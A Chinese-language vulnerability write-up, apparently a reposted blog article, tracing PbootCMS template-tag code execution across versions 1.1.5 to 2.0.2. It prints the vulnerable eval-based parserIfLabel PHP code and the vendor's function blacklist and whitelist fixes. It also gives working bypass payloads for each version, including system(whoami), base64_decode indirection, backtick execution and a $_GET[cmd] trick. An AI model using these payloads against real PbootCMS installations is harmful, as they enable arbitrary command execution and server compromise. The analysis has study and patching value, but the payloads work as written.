PbootCMS任意代码执行的前世今生


PbootCMS任意代码执行的前世今生

文章插图
 
 
PbootCMS (v1.1.5及其以下)漏洞复现
PbootCMS任意代码执行的前世今生

文章插图
 
poc:{pboot:if(system(whoami))}{/pboot:if}漏洞分析漏洞点位于/Apps/home/controller/ParserController.php
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[w]+()/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');......这里有通过两个正则表达式后即可进入eval函数且$content是可控的第一个正则表达式限制格式格式必须为{pboot:if(payload)}{/pboot:if}形式第二个正则表达式不允许出现字母后面加()的情况,如phpinfo()这里很好绕过,比如phpinfo(1),system(任意命令)
 
PbootCMS (v1.1.6-v1.1.8)漏洞分析从1.1.6对之前存在的任意代码执行漏洞进行了修补,增加了部分函数黑名单,代码如下
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {// IF语句需要过滤的黑名单$black = array('chr','phpinfo','eval','passthru','exec','system','chroot','scandir','chgrp','chown','shell_exec','proc_open','proc_get_status','error_log','ini_alter','ini_set','ini_restore','dl','pfsockopen','syslog','readlink','symlink','popen','stream_socket_server','putenv','unlink','path_delete','rmdir','session','cookie','mkdir','create_dir','create_file','check_dir','check_file');$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';$danger = false;foreach ($black as $value) {if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {$danger = true;break;}}// 如果有危险字符,则不解析该IFif ($danger) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');显然黑名单有漏网之鱼,但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用,但是依然有可以用的,如base64_decode,反引号等
payload1{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
PbootCMS任意代码执行的前世今生

文章插图
 
payload2{pboot:if(var_dump(`whoami`))}{/pboot:if}
PbootCMS任意代码执行的前世今生

文章插图
 
 
PbootCMS(v1.1.9-v1.3.2)发现黑名单有不足于是改成了白名单,代码如下
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';$danger = false;$white_fun = array('date');// 不允许执行带有函数的条件语句if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {foreach ($matches2[1] as $value) {if (function_exists($value) && ! in_array($value, $white_fun)) {$danger = true;break;}}}// 如果有危险字符,则不解析该IFif ($danger) {continue;} else {$matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');......如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路
PbootCMS任意代码执行的前世今生

文章插图
 
payload1{pboot:if(system(whoami));//)}{/pboot:if}
PbootCMS任意代码执行的前世今生

文章插图
 
payload2{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
PbootCMS任意代码执行的前世今生

文章插图
 
后面的版本添加了正则匹配eval,其实也没啥用,上面两个payload一样可以用
 
PbootCMS(v1.3.3-v2.0.2)过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束


推荐阅读